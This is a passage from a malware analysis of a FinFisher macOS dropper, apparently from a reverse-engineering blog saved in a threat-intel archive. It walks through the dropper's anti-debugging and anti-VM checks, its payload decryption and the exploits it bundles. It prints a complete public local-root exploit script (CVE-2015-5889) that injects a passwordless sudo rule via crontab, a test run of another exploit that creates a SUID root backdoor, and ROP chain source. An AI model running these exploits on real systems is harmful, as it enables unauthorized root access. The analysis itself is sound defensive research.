_malloc ; allocate space for char *model\r\n__text:100001B7C mov r14, rax ; we want this address so we can modify later on\r\n__text:100001B7F xor ecx, ecx\r\n__text:100001B81 xor r8d, r8d\r\n__text:100001B84 mov rdi, rbx\r\n__text:100001B87 mov rsi, r14 ; the model buffer\r\n__text:100001B8A mov rdx, r15\r\n__text:100001B8D call _sysctlbyname ; just change the buffer content after the call\r\n__text:100001B92 mov rdi, cs:classRef_NSString\r\nIn this case we need to set a breakpoint at address 0x100001B7C or 0x100001B87 so we know the address of the\r\nbuffer. Then we set another breakpoint after the second call to sysctlbyname at address 0x100001B92 . There we\r\nmodify the buffer contents and bypass the first virtual machine detection. This could also be automated with a\r\nkernel extension or hooking sysctlbyname .\r\nThere is a second virtual machine detection attempt, this one described in Amnesty report. It uses the\r\nsystem_profiler system command to find the hardware manufacturer. Executing the command on a virtual\r\nmachine:\r\n$ system_profiler SPUSBDataType | egrep -i \"Manufacturer: (parallels|vmware|virtualbox)\"\r\n Manufacturer: VMware, Inc.\r\n Manufacturer: VMware\r\n Manufacturer: VMware\r\n Manufacturer: VMware\r\nThis is the detection code decompilation output:\r\nv26 = objc_msgSend(\u0026OBJC_CLASS___NSTask, \"alloc\");\r\nv37 = objc_msgSend(v26, \"init\");\r\nobjc_msgSend(v37, \"setLaunchPath:\", CFSTR(\"/bin/sh\"));\r\nv27 = objc_msgSend(\r\n \u0026OBJC_CLASS___NSString,\r\n \"stringWithFormat:\",\r\n CFSTR(\"%@\"),\r\n CFSTR(\"system_profiler SPUSBDataType | egrep -i \\\"Manufacturer: (parallels|vmware|virtualbox)\\\"\"));\r\nhttps://reverse.put.as/2020/09/26/the-finfisher-tales-chapter-1/\r\nPage 17 of 30\n\nv28 = objc_retainAutoreleasedReturnValue(v27);\r\nv29 = objc_msgSend(\u0026OBJC_CLASS___NSArray, \"arrayWithObjects:\", CFSTR(\"-c\"), v28, 0LL);\r\nv36 = objc_retainAutoreleasedReturnValue(v29);\r\nobjc_release(v28);\r\nobjc_msgSend(v37, \"setArguments:\", v36);\r\nv30 = objc_msgSend(\u0026OBJC_CLASS___NSPipe, \"pipe\");\r\nv35 = objc_retainAutoreleasedReturnValue(v30);\r\nobjc_msgSend(v37, \"setStandardOutput:\", v35);\r\nv31 = objc_msgSend(v35, \"fileHandleForReading\");\r\nv38 = objc_retainAutoreleasedReturnValue(v31);\r\nobjc_msgSend(v37, \"launch\");\r\nobjc_msgSend(v37, \"waitUntilExit\");\r\nLOBYTE(v54) = (unsigned int)objc_msgSend(v37, \"terminationStatus\") == 0;\r\nTranslated to Objective-C:\r\nNSTask *task = [[NSTask alloc] init];\r\n[task setLaunchPath:@\"/bin/sh\"];\r\nNSString *cmd = [NSString stringWithFormat:\"%@\", @\"system_profiler SPUSBDataType | egrep -i \\\"Manufacturer: (par\r\nNSArray *args = [NSArray arrayWithObjects: @\"-c\", cmd, nil];\r\n[task setArguments:args];\r\nNSPipe *pipe = [NSPipe pipe];\r\n[task setStandardOutput:pipe];\r\nNSFileHandle *file = [pipe fileHandleForReading];\r\n[task launch];\r\n[task waitUntilExit];\r\nint ret = [task terminationStatus] == 0;\r\nIt will essentially execute a shell command via NSTask class. The easiest way to bypass this is to modify the\r\nstring since the CoreFoundation String (CFString) points to a C string.\r\n__cstring:10002B620 aSystemProfiler db 'system_profiler SPUSBDataType | egrep -i \"Manufacturer: (parallels|vmwa\r\n__cstring:10002B620 ; DATA XREF: __cfstring:cfstr_SystemProfiler↓o\r\nIf the command doesn’t return the information it’s looking then whatever test the code is doing will fail and we\r\nshould bypass the vm detection easily. We just need to overwrite the grep string or modify the shell command to\r\nreturn nothing and exit early.\r\nIn my case I opted to modify the string to \"system_profiler SPUSBDataType | egrep -i \"Manufacturer:\r\n(finfisher clowns u suck aha)\"\" . For this we don’t need a breakpoint since we can modify the memory for the\r\nstring at the first breakpoint for example, when we bypass the ptrace. Or we can just patch the binary since there\r\nare no integrity checks anyway.\r\nhttps://reverse.put.as/2020/09/26/the-finfisher-tales-chapter-1/\r\nPage 18 of 30\n\nAnd gone are all anti-debugging and anti-vm checks. That wasn’t hard!\r\nSomewhere in the middle of main code we can find this:\r\n__text:100001DEF loc_100001DEF: ; CODE XREF: _main+248↑j\r\n__text:100001DEF cmp eax, 0D7F98BB5h\r\n__text:100001DF4 jnz loc_100001891\r\n__text:100001DFA mov edi, [rbp+argc] ; argc\r\n__text:100001E00 mov rsi, [rbp+argv] ; argv\r\n__text:100001E07 call _NSApplicationMain\r\n__text:100001E0C mov [rbp+var_300], eax\r\n__text:100001E12 mov eax, 0CDACC4F9h\r\n__text:100001E17 jmp loc_100001891\r\nThis means this is a AppKit application. NSApplicationMain is responsible for creating and running the\r\napplication. What we have seen until now is just a prologue.\r\nAn astute reader will notice that there is an even easier way to bypass all the previous checks with a single\r\nbreakpoint. Let me show you how. The prototype for NSApplicationMain is:\r\nint NSApplicationMain(int argc, const char * _Nonnull *argv);\r\nSince there are no interesting operations in main other than anti-debugging and anti-vm checks, we could simply\r\nbypass all that code and set execution directly to NSApplicationMain . The following are the interesting parts of\r\nmain to achieve this:\r\n__text:10000174F push rbp\r\n__text:100001750 mov rbp, rsp\r\n__text:100001753 push r15 ; break here\r\n__text:100001753 ; and set RIP to 0x100001DFA -.\r\n(...) |\r\n__text:100001DFA mov edi, [rbp+argc] ; argc \u003c----------------------´\r\n__text:100001E00 mov rsi, [rbp+argv] ; argv\r\n__text:100001E07 call _NSApplicationMain\r\nWe can set a breakpoint at address 0x100001753 (remember that software breakpoint is triggered before\r\ninstruction is executed - because the original instruction is replaced with int3 instruction) and modify the\r\ninstruction pointer to address 0x100001DFA . We need to do it like this because the arguments are referenced as an\r\noffset of the frame pointer register rbp . If we had set the breakpoint at address 0x10000174F then the argc\r\nreference would be pointing to wrong memory. It is possible to do it this way, we just need to fix the rbp address\r\nto the right value (stack grows to lower addresses, so this would be current rsp value - 8). Easier to just\r\nbreakpoint after the correct rbp is set.\r\nNow back to tracing post NSApplicationMain execution.\r\nhttps://reverse.put.as/2020/09/26/the-finfisher-tales-chapter-1/\r\nPage 19 of 30\n\nThere is no need to single step execution into NSApplicationMain . There are a series of delegates for\r\nNSApplication and at least one or two are usually implemented in normal applications. These delegates execute\r\nbefore the real application starts running, so we can breakpoint them to regain debugger control after the call to\r\nNSApplicationMain .\r\nIn this case applicationDidFinishLaunching: (doc) is the only delegate available. Right away we can observe\r\ninteresting method names that we want to investigate.\r\n__text:10000275C push rbp\r\n__text:10000275D mov rbp, rsp\r\n__text:100002760 push r15\r\n__text:100002762 push r14\r\n__text:100002764 push r13\r\n__text:100002766 push r12\r\n__text:100002768 push rbx\r\n__text:100002769 sub rsp, 18h\r\n__text:10000276D mov rbx, rdi\r\n__text:100002770 mov rdi, rdx ; id\r\n__text:100002773 call cs:_objc_retain_ptr\r\n__text:100002779 call _objc_autoreleasePoolPush\r\n__text:10000277E mov [rbp+context], rax\r\n__text:100002782 mov rsi, cs:selRef_removeOldResource ; SEL\r\n__text:100002789 mov r14, cs:_objc_msgSend_ptr\r\n__text:100002790 mov rdi, rbx\r\n__text:100002793 call r14 ; _objc_msgSend ; -[appAppDelegate removeOldResource]\r\n__text:100002796 mov rsi, cs:selRef_expandPayload ; SEL\r\n__text:10000279D mov rdi, rbx\r\n__text:1000027A0 call r14 ; _objc_msgSend ; -[appAppDelegate expandPayload]\r\n__text:1000027A3 mov rsi, cs:selRef_executeTrampoline ; SEL\r\n__text:1000027AA mov rdi, rbx\r\n__text:1000027AD call r14 ; _objc_msgSend ; -[appAppDelegate executeTrampoline]\r\n__text:1000027B0 mov rsi, cs:selRef_installPayload ; SEL\r\n__text:1000027B7 mov rdi, rbx ; id\r\n__text:1000027BA call r14 ; _objc_msgSend ; -[appAppDelegate installPayload]\r\n__text:1000027BD movsx eax, al\r\n__text:1000027C0 mov [rbp+var_2C], eax\r\n__text:1000027C3 mov r15, cs:selRef_askUserPermission_\r\n__text:1000027CA mov r12, cs:selRef_installPayload\r\n__text:1000027D1 mov eax, 464B731Fh\r\n__text:1000027D6 jmp short loc_1000027DD\r\nAt least two method names look interesting, expandPayload and installPayload . Amnesty report discusses an\r\nencrypted payload so this is a good clue and we definitely want to take a look at those methods.\r\nThe removeOldResource method cleans up the temporary payload environment. It uses the +[GIPath\r\ncompressedPayload] class method to build the temporary path to this payload. On my High Sierra VM, the\r\nhttps://reverse.put.as/2020/09/26/the-finfisher-tales-chapter-1/\r\nPage 20 of 30\n\ntemporary path is /Users/username/Library/Caches/arch.zip , while in Amnesty report is /tmp/arch.zip .\r\nid __cdecl +[GIPath compressedPayload](id a1, SEL a2)\r\n{\r\n id v2; // rax\r\n id v3; // r14\r\n id v4; // rax\r\n id v5; // rbx\r\n // returns @\"/Users/username/Library/Caches\"\r\n v2 = +[GIPath systemTemp](\u0026OBJC_CLASS___GIPath, \"systemTemp\");\r\n v3 = objc_retainAutoreleasedReturnValue(v2);\r\n v4 = objc_msgSend(v3, \"stringByAppendingPathComponent:\", CFSTR(\"arch.zip\"));\r\n v5 = objc_retainAutoreleasedReturnValue(v4);\r\n objc_release(v3);\r\n return objc_autoreleaseReturnValue(v5);\r\n}\r\nThe path to the extracted payload is built with +[GIPath expandedPayload] class method. In my case\r\n/Users/username/Library/Caches/org.logind.ctp.archive .\r\nMore interesting is the expandPayload method. This is where the encrypted payload is decrypted and extracted\r\nfor later persistence installation in the target system. The encrypted payload is the data file found in Resources\r\nfolder of the hidden application - ARA0848.app/Contents/Resources/data .\r\nWithout going too much into detail about this method, what it does is to decrypt the data payload to\r\n/Users/username/Library/Caches/arch.zip by XOR’ing with the key “NSString”, and then extract that ZIP file\r\nto /Users/username/Library/Caches/org.logind.ctp.archive .\r\nAmnesty released a script to decrypt the payload but I couldn’t get it to work. Instead it’s just easier to recover the\r\ndecrypted payload from memory or the extracted version from the filesystem.\r\nThe memory buffer for the decrypted version is allocated here:\r\n__text:100002F88 call r12 ; _objc_msgSend ; [NSConcreteData length]\r\n__text:100002F8B mov rdi, rax ; 0x0000000000158712\r\n__text:100002F8B ; size of data payload (1410834 bytes)\r\n__text:100002F8E call _malloc\r\n__text:100002F93 mov [rbp+var_58], rax\r\nSo we just need to set a breakpoint at address 0x100002F93 , recover the value of rax register, and find where\r\nthe decryption loop ends. We can also just find out where it tries to write the buffer to the filesystem and\r\nbreakpoint there so we can copy it from the filesystem (in this case it’s not deleted right away, only later on).\r\nA good place is here:\r\nhttps://reverse.put.as/2020/09/26/the-finfisher-tales-chapter-1/\r\nPage 21 of 30\n\n__text:100003080 call r12 ; _objc_msgSend ; +[GIPath compressedPayload]\r\n__text:100003083 mov rdi, rax ; /Users/username/Library/Caches/arch.zip\r\n__text:100003086 call _objc_retainAutoreleasedReturnValue\r\n__text:10000308B mov r15, rax\r\n__text:10000308E mov ecx, 1\r\n__text:100003093 mov rdi, r14 ; id\r\n__text:100003096 mov rax, cs:selRef_writeToFile_atomically_\r\n__text:10000309D mov rsi, rax ; SEL\r\n__text:1000030A0 mov rdx, r15 ; makes a copy of the decrypted payload here\r\n__text:1000030A3 call r12 ; _objc_msgSend ; [OS_dispatch_data writeToFile:atomically:]\r\n__text:1000030A6 mov rdi, r15 ; id\r\nIf we set a breakpoint at 0x1000030A6 we can just copy the decrypted archive\r\n/Users/username/Library/Caches/arch.zip from the filesytem.\r\nWe can now take a peek at the payload:\r\norg.logind.ctp.archive\r\n├── helper\r\n├── helper2\r\n├── helper3\r\n├── installer\r\n├── logind\r\n├── logind.kext\r\n│ └── Contents\r\n│ ├── Info.plist\r\n│ ├── MacOS\r\n│ │ └── logind\r\n│ └── Resources\r\n│ └── en.lproj\r\n│ └── InfoPlist.strings\r\n├── logind.plist\r\n└── storage.framework\r\n └── Contents\r\n ├── Info.plist\r\n ├── MacOS\r\n │ └── logind\r\n ├── PkgInfo\r\n └── Resources\r\n ├── 7f.bundle\r\n │ └── Contents\r\n │ ├── Info.plist\r\n │ ├── MacOS\r\n │ │ └── 7f\r\n │ └── Resources\r\n │ ├── 7FC.dat\r\nhttps://reverse.put.as/2020/09/26/the-finfisher-tales-chapter-1/\r\nPage 22 of 30\n\n│\r\n└── AAC.dat\r\n ├── 80C.dat\r\n ├── dataPkg\r\n └── logind.plist\r\n13 directories, 19 files\r\nAmnesty report describes two exploits but this version contains three. All the exploits are public, so no 0days here.\r\nNothing like packaging free work and selling it for big bucks :-].\r\nThe third exploit is a public exploit by qwertyoruiop called tpwn. Comparing strings between helper3 binary\r\nand public source code:\r\nHelper3\r\n__cstring:00003ECB aProcUcred db '_proc_ucred',0 ; DATA XREF: start+129C↑o\r\n__cstring:00003ED7 aPosixCredGet db '_posix_cred_get',0\r\n__cstring:00003EE7 aChgproccnt db '_chgproccnt',0\r\n__cstring:00003EF3 aIorecursiveloc db '_IORecursiveLockUnlock',0\r\n__cstring:00003F0A aZn10ioworkloop db '__ZN10IOWorkLoop8openGateEv',0\r\n__cstring:00003F0A ; DATA XREF: start+1DE3↑o\r\n__cstring:00003F26 aZn13ioeventsou db '__ZN13IOEventSource8openGateEv',0\r\n__cstring:00003F45 aEscalatingPriv db 'Escalating privileges! -qwertyoruiop',0Ah,0\r\n__cstring:00003F45 ; DATA XREF: start+2138↑o\r\n__cstring:00003F6B aIolog db '_IOLog',0 ; DATA XREF: start+2150↑o\r\n__cstring:00003F72 aThreadExceptio db '_thread_exception_return',0\r\n__cstring:00003F8B aChmod06777S db 'chmod 06777 %s',0\r\n__cstring:00003F9A aChownRootWheel db 'chown root:wheel %s',0\r\nSource code\r\n PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, \"_IORecursiveLockUnlock\");\r\n PUSH_GADGET(stack) = ROP_POP_RAX(mapping_kernel);\r\n PUSH_GADGET(stack) = heap_info[1].kobject+0xe0;\r\n PUSH_GADGET(stack) = ROP_READ_RAX_TO_RAX_POP_RBP(mapping_kernel);\r\n PUSH_GADGET(stack) = JUNK_VALUE;\r\n PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack,mapping_kernel);\r\n PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, \"__ZN10IOWorkLoop8openGateEv\");\r\n PUSH_GADGET(stack) = ROP_POP_RAX(mapping_kernel);\r\n PUSH_GADGET(stack) = heap_info[1].kobject+0xe8;\r\n PUSH_GADGET(stack) = ROP_READ_RAX_TO_RAX_POP_RBP(mapping_kernel);\r\n PUSH_GADGET(stack) = JUNK_VALUE;\r\n PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack,mapping_kernel);\r\n PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, \"__ZN13IOEventSource8openGateEv\");\r\n \r\n PUSH_GADGET(stack) = ROP_ARG1(stack, mapping_kernel, (uint64_t)\"Escalating privileges! -qwertyoruiop\\n\")\r\nhttps://reverse.put.as/2020/09/26/the-finfisher-tales-chapter-1/\r\nPage 23 of 30\n\nPUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, \"_IOLog\");\r\n PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, \"_thread_exception_return\");\r\nThey match and they didn’t even bother to modify the strings. Pathetic. Pfttttt!\r\nAll the exploits target macOS Yosemite or older, giving another potential clue about how old this version might\r\nbe. The tpwn exploit is from 2015.\r\nLet’s get back to applicationDidFinishLaunching analysis to understand how the exploits are used. After the\r\npayload is decrypted and extracted, the next executed method is executeTrampoline . Another three methods are\r\nreferenced inside:\r\n[appAppDelegate isAfterPatch]\r\n[appAppDelegate launchNewStyle]\r\n[appAppDelegate launchOldStyle]\r\nThe first to be executed is isAfterPatch . It verifies if the target system is on a given OS release or not. This is\r\nused to make the decision to execute new or old style exploits.\r\nThe launchOldStyle tries to execute the helper exploit. If Amnesty exploit reference is correct, this is a very\r\nold exploit written in 2010, tested against 10.8.X, and apparently fixed in 2013 or 2014.\r\nWe can test the original exploit against a Mountain Lion 10.8.5 VM:\r\n$ uname -an\r\nDarwin mountain-lion-64.local 12.5.0 Darwin Kernel Version 12.5.0: Mon Jul 29 16:33:49 PDT 2013; root:xnu-2050.4\r\n$ clang -o exploit exploit.m -framework Foundation -framework SecurityFoundation\r\n$ ./exploit /bin/sleep /tmp/backd00r\r\nApple MACOS X \u003c 10.9/10? local root exploit\r\nby: \u003cmu-b@digit-labs.org\u003e\r\nhttp://www.digit-labs.org/ -- Digit-Labs 2010!@$!\r\n* Found Authenticator Class!\r\n* found UserUtilities Class!\r\n* authenticateUsingAuthorizationSync:authObj returned: 1\r\n* now execute suid backdoor at /tmp/backd00r\r\n$ ls -la /tmp/backd00r\r\n-r-s--x--x 1 root wheel 14080 Sep 28 03:24 /tmp/backd00r\r\n$ /tmp/backd00r 60 \u0026\r\n[1] 495\r\n$ ps u -p 495\r\nhttps://reverse.put.as/2020/09/26/the-finfisher-tales-chapter-1/\r\nPage 24 of 30\n\nUSER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND\r\nroot 495 0.0 0.0 2432748 464 s000 S 3:25AM 0:00.00 /tmp/backd00r 60\r\nThe exploit works as described. The source argument is copied to the selected target and made SUID root.\r\nThe helper binary contains this exploit in do_assistive_copy function but will ask for user permission if\r\nexploit fails. This good old social engineering dialog happens at do_ask_user_permission function.\r\n$ nm helper -s __TEXT __text\r\n(...)\r\n0000000100003277 t _do_ask_user_permission\r\n0000000100002470 t _do_assistive_copy\r\n(...)\r\nLet’s get back to launchOldStyle method to understand how helper is called.\r\nThe Objective-C code is something like this:\r\nNSNumber *perm = [NSNumber numberWithUnsignedLong:0755];\r\nNSNumber *user = [NSNumber numberWithUnsignedLong:0];\r\nNSNumber *group = [NSNumber numberWithUnsignedLong:0];\r\nNSDictionary *attr = [NSDictionary dictionaryWithObjectsAndKeys:\r\n perm, NSFilePosixPermissions,\r\n user, NSFileOwnerAccountID,\r\n group, NSFileGroupOwnerAccountID,\r\n nil];\r\nNSFileManager *fm = [[NSFilemanager alloc] init];\r\n// returns path to extracted zip payload + helper\r\nNSString *helperPath = [GIPath trampoline];\r\n[fm setAttributes:attr ofItemAtPath:helperPath error:nil];\r\nNSTask *task = [[NSTask alloc] init];\r\n// returns path to extracted zip payload + helper\r\nNSString *launchPath = [GIPath trampoline];\r\n[task setLaunchPath:launchPath];\r\n// returns path to extracted zip payload + installer\r\nNSString *installerPath = [GIPath installer]\r\n// returns path to extracted zip payload\r\nNSString *payloadPath = [GIPath expandedPayload];\r\nNSArray *args = [NSArray arrayWithObjects:installerPath, payloadPath, nil];\r\n[task setArguments:args];\r\n[task launch];\r\nhttps://reverse.put.as/2020/09/26/the-finfisher-tales-chapter-1/\r\nPage 25 of 30\n\n[task waitUntilExit];\r\nint status = [task terminationStatus];\r\nThe helper binary is called with arguments\r\n/Users/username/Library/Caches/org.logind.ctp.archive/installer (part of the extracted payload) and\r\n/Users/username/Library/Caches/org.logind.ctp.archive (the extracted payload folder path). The original\r\nexploit requires the target file, this version just the path.\r\nWith this information we can test the helper binary in a vulnerable virtual machine:\r\n$ ./helper /bin/sleep /tmp/\r\n$ ls -la /tmp/sleep\r\n-rwsrwsrwx 1 root wheel 14080 Sep 28 05:24 /tmp/sleep\r\nBut if we execute it in a non-vulnerable macOS version:\r\n$ ./helper /bin/sleep /tmp/\r\n2020-09-28 05:26:48.452 helper[2234:193615] ### No entitlement for SystemAdministration !!!\r\n2020-09-28 05:26:48.460 helper[2234:193620] ### syncProxyWithSemaphore error:Error Domain=NSCocoaErrorDomain Cod\r\nIf the exploit fails we get a prompt to insert the password aka do_ask_user_permission is executed:\r\nBut in this case the argument logic is a bit different. The first argument is the target binary to modify permissions\r\n(the exploit instead makes a copy and then modifies the permissions in the copy).\r\n$ cp /bin/sleep /tmp\r\n$ ls -la /tmp/sleep\r\n-rwxr-xr-x 1 reverser wheel 18080 Sep 28 18:39 sleep\r\n$ ./helper_patched /tmp/sleep /tmp\r\n(Insert password interruption...clicky click)\r\nhttps://reverse.put.as/2020/09/26/the-finfisher-tales-chapter-1/\r\nPage 26 of 30\n\n$ ls -la /tmp/sleep\r\n-rwsrwsrwx 1 root wheel 18080 Sep 28 18:39 sleep\r\nIn this case I patched helper_patched to bypass the do_assistive_copy exploit and go directly to the\r\ndo_ask_user_permission method. The patch is just remove the call and replace with code to set eax to 1.\r\n__text:10000242C E8 3F 00 00 00 call _do_assistive_copy ; 0 on success, 1 on failure\r\n__text:100002431 48 8B 4D B8 mov rcx, [rbp+var_48]\r\n__text:100002435 89 01 mov [rcx], eax\r\nIn a vulnerable system the exploit will make\r\n/Users/username/Library/Caches/org.logind.ctp.archive/installer binary SUID root so it can run with\r\nhigher privileges for persistence installation purposes.\r\nThis binary has the same name as the initial dropper but it’s a stripped down version (no unzip capabilities, no\r\nanti-debugging/anti-vm, no exploit usage) used to install system persistence.\r\nLet’s continue analysis of the other exploits.\r\nThe launchNewStyle method will try to execute the helper2 exploit. The exploit is the following Python script:\r\n# CVE-2015-5889: issetugid() + rsh + libmalloc osx local root\r\n# tested on osx 10.9.5 / 10.10.5\r\n# jul/2015\r\n# by rebel\r\nimport os,time,sys\r\nfrom sys import argv\r\nscript, param = argv\r\nenv = {}\r\ns = os.stat(\"/etc/sudoers\").st_size\r\nenv['MallocLogFile'] = '/etc/crontab'\r\nenv['MallocStackLogging'] = 'yes'\r\nenv['MallocStackLoggingDirectory'] = 'a\\n* * * * * root echo \"ALL ALL=(ALL) NOPASSWD: ALL\" \u003e\u003e /etc/sudoers\\n\\n\\n\r\n#sys.stderr.write(\"creating /etc/crontab..\")\r\np = os.fork()\r\nif p == 0:\r\n os.close(1)\r\n os.close(2)\r\n os.execve(\"/usr/bin/rsh\",[\"rsh\",\"localhost\"],env)\r\nhttps://reverse.put.as/2020/09/26/the-finfisher-tales-chapter-1/\r\nPage 27 of 30\n\ntime.sleep(1)\r\nif \"NOPASSWD\" not in open(\"/etc/crontab\").read():\r\n sys.stderr.write(\"failed\\n\")\r\n sys.exit(-1)\r\n#sys.stderr.write(\"done\\nwaiting for /etc/sudoers to change (\u003c60 seconds)..\")\r\nwhile os.stat(\"/etc/sudoers\").st_size == s:\r\n# sys.stderr.write(\".\")\r\n time.sleep(1)\r\n#sys.stderr.write(\"\\ndone\\n\")\r\nmy_command = \"sudo chmod 06777 %s \u0026 sudo chown root:wheel %s\" % (param, param)\r\nos.system(my_command)\r\nThe exploit argument is the target to modify to SUID root if exploit is successful. In this case it will be the\r\ninstaller binary inside the extracted payload, as the previous exploit.\r\nIf the exploit was successful, the method will return one, zero otherwise.\r\nRunning against Mountain Lion 10.8.5 system:\r\n$ cp /bin/sleep /tmp\r\n$ ls -la /tmp/sleep\r\n-rwxr-xr-x 1 reverser wheel 14080 Sep 28 19:45 /tmp/sleep\r\n$ python helper2 /tmp/sleep\r\nfailed\r\nRunning against a vulnerable Mavericks 10.9.5 system:\r\n$ cp /bin/sleep /tmp\r\n$ ls -la /tmp/sleep\r\n-rwxr-xr-x 1 reverser wheel 14080 Sep 28 19:47 /tmp/sleep\r\n$ python helper2 /tmp/sleep\r\n(wait a minute for next crontab execution)\r\n$ ls -la /tmp/sleep\r\n-rwsrwsrwx 1 root wheel 14080 Sep 28 19:47 /tmp/sleep\r\nThe exploit leaves (too many) traces in the target system and no code (as far as I can see) exists to clean it up:\r\nhttps://reverse.put.as/2020/09/26/the-finfisher-tales-chapter-1/\r\nPage 28 of 30\n\n$ sudo tail /etc/sudoers\r\n# %wheel ALL=(ALL) NOPASSWD: ALL\r\n# Samples\r\n# %users ALL=/sbin/mount /cdrom,/sbin/umount /cdrom\r\n# %users localhost=/sbin/shutdown -h now\r\nALL ALL=(ALL) NOPASSWD: ALL\r\nALL ALL=(ALL) NOPASSWD: ALL\r\nALL ALL=(ALL) NOPASSWD: ALL\r\nALL ALL=(ALL) NOPASSWD: ALL\r\nALL ALL=(ALL) NOPASSWD: ALL\r\n$ sudo tail /etc/crontab\r\n'\r\nrlogin(876,0x7fff7a2c4310) malloc: stack logs being written into /tmp/stack-logs.876.1002df000.rlogin.Ers4v2.ind\r\nrlogin(876,0x7fff7a2c4310) malloc: recording malloc and VM allocation stacks to disk using standard recorder\r\nrlogin(876,0x7fff7a2c4310) malloc: stack logs deleted from /tmp/stack-logs.876.1002df000.rlogin.Ers4v2.index\r\nrlogin(1038,0x7fff7a2c4310) malloc: MallocStackLoggingDirectory env var set to unwritable path 'a\r\n* * * * * root echo \"ALL ALL=(ALL) NOPASSWD: ALL\" \u003e\u003e /etc/sudoers\r\nThere are no references to helper3 exploit, so it might have been packaged by mistake or waiting for updated\r\ndropper, or just a replacement for helper2 exploit.\r\nThis ends up the analysis of executeTrampoline method called from applicationDidFinishLaunching .\r\nThe next method is -[appAppDelegate installPayload] . If everything went as expected up to this moment, the\r\ndropper was able to extract its payload to /Users/username/Library/Caches/org.logind.ctp.archive/ folder\r\nand managed to set the installer binary SUID root. The -[appAppDelegate installPayload] method will just\r\nexecute the SUID binary responsible for persistence installation.\r\nhar __cdecl -[appAppDelegate installPayload](appAppDelegate *self, SEL a2)\r\n{\r\n NSTask *v2; // rax\r\n NSTask *v3; // r14\r\n id v4; // rax\r\n id v5; // rbx\r\n sleep(2u);\r\n // NSTask *task = [[NSTask alloc] init];\r\n v2 = objc_msgSend(\u0026OBJC_CLASS___NSTask, \"alloc\");\r\n v3 = objc_msgSend(v2, \"init\");\r\n // retrieve path to SUID binary: /Users/username/Library/Caches/org.logind.ctp.archive/installer\r\n v4 = +[GIPath installer](\u0026OBJC_CLASS___GIPath, \"installer\");\r\n v5 = objc_retainAutoreleasedReturnValue(v4);\r\n // set the binary to execute\r\n objc_msgSend(v3, \"setLaunchPath:\", v5);\r\nhttps://reverse.put.as/2020/09/26/the-finfisher-tales-chapter-1/\r\nPage 29 of 30\n\nobjc_release(v5);\r\n // execute the binary\r\n objc_msgSend(v3, \"launch\");\r\n // wait for its exit\r\n objc_msgSend(v3, \"waitUntilExit\");\r\n LOBYTE(v5) = (unsigned int)objc_msgSend(v3, \"terminationStatus\") == 0;\r\n objc_release(v3);\r\n return (char)v5;\r\n}\r\nAs I wrote before, this installer is kind of a stripped down version of the dropper. Its hash is\r\nac414a14464bf38a59b8acdfcdf1c76451c2d79da0b3f2e53c07ed1c94aeddcd .\r\nThe last method to be executed by the dropper is -[appAppDelegate removeTraces] . It simply removes the\r\ndecrypted zip file, the extracted payload folder, and the malicious application where the dropper was executed\r\nfrom. This will be executed whether installPayload is successful or not.\r\nThis closes the analysis of the main dropper binary. Next is the SUID installer to understand the persistence\r\noperations. That’s chapter 2.\r\nHave fun,\r\nfG!\r\nP.S.: Sorry for the ugly code highlighting, I need to customize a better theme.\r\nSource: https://reverse.put.as/2020/09/26/the-finfisher-tales-chapter-1/\r\nhttps://reverse.put.as/2020/09/26/the-finfisher-tales-chapter-1/\r\nPage 30 of 30",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://reverse.put.as/2020/09/26/the-finfisher-tales-chapter-1/"
	],
	"report_names": [
		"the-finfisher-tales-chapter-1"
	],
	"threat_actors": [],
	"ts_created_at": 1775434926,
	"ts_updated_at": 1775826781,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/e81e9f8d457481075cb02e8e036ac9464fac9235.pdf",
		"text": "https://archive.orkl.eu/e81e9f8d457481075cb02e8e036ac9464fac9235.txt",
		"img": "https://archive.orkl.eu/e81e9f8d457481075cb02e8e036ac9464fac9235.jpg"
	}
}